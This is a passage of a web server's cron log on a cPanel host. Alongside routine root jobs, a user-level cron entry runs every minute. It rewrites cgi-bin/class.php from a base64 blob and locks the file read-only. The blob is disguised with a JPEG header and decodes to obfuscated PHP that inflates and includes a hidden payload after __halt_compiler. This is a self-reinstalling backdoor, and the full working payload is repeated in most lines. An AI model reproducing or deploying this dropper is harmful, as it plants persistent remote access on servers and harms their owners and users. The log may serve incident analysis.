&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:29:01 server CROND[17440]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:30:01 server CROND[18318]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 13:30:01 server CROND[18319]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 13:30:01 server CROND[18320]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:30:01 server CROND[18321]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 13:31:01 server CROND[19047]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:32:01 server CROND[19999]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:33:01 server CROND[20857]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:34:01 server CROND[21721]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:35:01 server CROND[22582]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 14 13:35:01 server CROND[22585]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 13:35:01 server CROND[22587]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 13:35:01 server CROND[22586]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 13:35:01 server CROND[22588]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:36:01 server CROND[23498]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:37:01 server CROND[24403]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:38:01 server CROND[25270]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:39:01 server CROND[26136]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 13:39:01 server CROND[26137]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:40:01 server CROND[27069]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 13:40:01 server CROND[27071]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 13:40:01 server CROND[27076]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:40:01 server CROND[27084]: (root) CMD (/usr/lib64/sa/sa1 1 1)
